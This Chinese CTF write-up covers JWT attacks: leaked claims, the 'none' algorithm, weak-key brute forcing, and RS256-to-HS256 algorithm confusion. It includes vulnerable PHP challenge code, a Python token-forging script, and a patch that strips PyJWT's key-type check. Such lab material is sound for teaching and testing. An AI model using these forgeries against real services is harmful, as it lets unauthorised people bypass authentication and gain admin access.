基础知识
链接: 官方解释.
什么是JWT
Json Web Token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519。
该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景,是目前最流行的跨域认证解决方案。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。
JWT 的原理
服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。
{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2018年7月1日0点0分"
}
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。
JWT 的数据结构
它是一个很长的字符串,中间用点(.)分隔成三个部分。注意,JWT 内部是没有换行的
Header.Payload.Signature
JWT 的三个部分依次如下:
Header(头部)、Payload(负载)、Signature(签名)
实际格式如下:
eyJBRyI6IjNkOTk0NTliNTM5ZTczOH0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsIkZMIjoiY3RmaHViezdjZTg2MzFjNCJ9.LiM6boMHAoq1WZfp5MnipVjh6HgKwDASf0Z-0_VeaQY
敏感信息泄露
JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。试着找出FLAG。格式为 flag{}
题目已经给出提示,既然如此,打开网页之后,随便进行登录然后,然后查看自己的网页的cookie。
看到有一长串的加密的内容,仔细观察,发现这个密文由三个点相连接,然后题目又提示我们flag在头部和负载之中。我们就取这两部分进行 base64解密.
none算法
上题目,一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。尝试找到 flag。题目给出的提示很多了。
建议大家先截断再抓包,不然要出问题。
获取header 和payload即可,拿出解密。
拿出来的时候记得分成两段解密,不然会识别不出试base64,得到明文。
按照题目要求直接修改算法和角色,把hs256加密改为none、把guest改为admin。然后分别base64加密返包即可,即heaaders.payload.,因为没有加密所以后面的签名为空。
返包,拿到flag,记得要在源页面下返包。
弱密钥
如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag。
原理:在使用不同的密钥对头部信息和载荷进行加密时,所产生的JWT是不一样的。jwt的第三部分是一个签证信息,这个签证信息由三部分组成header (base64后的)、payload (base64后的)、secret,将上面的两个编码后的字符串都用句号 . 连接在一起(头部在前),就形成JWT即:
base64(header).base64(payload).HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret )
先安装暴力破解工具,链接: 使用工具.
直接跑,拿到密钥
到这个在线平台上加解密,或者自己加解密也可以,最后将拿到的JWT作为Cookie返包回去。
拿到flag.
修改签名算法
有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。这次操作我放在Linux下执行,这可以解决其他博主用包出错而被迫进行环境模拟的情况,群主帮助解决许多问题。
class JWTHelper {
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
?>
代码审计就不说了,大家应该都明白,本质上就是通过对公钥使用对称算法加密,并且是在GET模式下提交的数据包。为了输出这个flag,就要进入else语句,既然如此token就不能为空,然后对token使用公钥解码,并且它的role字段对应的值为admin。然后看到decode函数这里它本质上使用的还是JWT上的编码的方法,使用的的KEY值是PUBLIC_KEY,也就是题目给出的提示公钥,然后编码算法用的是对称加密的’HS256’算法。根据这个条件我们需要编写一个python代码来生成token。
直接上脚本:
import jwt
import base64
public = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmyf8RSyp6AvlNR4M2/4b
l8sCXD5JFsobNb5eYDcPwb75UsTYV8dcOQQbi8M+iXefQRuRR5RmzVI4yxmXscsM
fAB8IoEKZ8wBCjYd3sI5F6SHD8csM3yc2yEBlV93GYvobxkxoQl9+K0J6UeOYeYF
2LHOCaZDhYdYHLCyuitZ0BvnDpAR8xjAqYePJBXsTGd4gnebgeARyZYFizn3yXbL
nS1wKJvL0mkHT0XUdxKnOMfmPyxCHx5bXNxxOY2LlCRXx6uQ0Bb2eUEuFMCYN6va
bSFVo6L9i5JtB+7Zp4bdrcPNQEFPx5Fy6J0TS35c+MbRrInWLds3D1FiZUSseii/
WQIDAQAB
-----END PUBLIC KEY-----"""
payload={
"username": "admin",
"role": "admin"
}
print(jwt.encode(payload, key=public, algorithm='HS256'))
这样子写可能会出现下面这个错误,提示你这密钥不能在这个算法里使用,然后我们需要对源码包进行修改。
LINUX中JWT包的位置 /usr/lib/python3/dist-packages/jwt/algorithms.py
打开之后,加上这一句:invalid_strings=[]
接着删除 rm -rf pycache
运行成功
然后作为Cookie返包获取flag。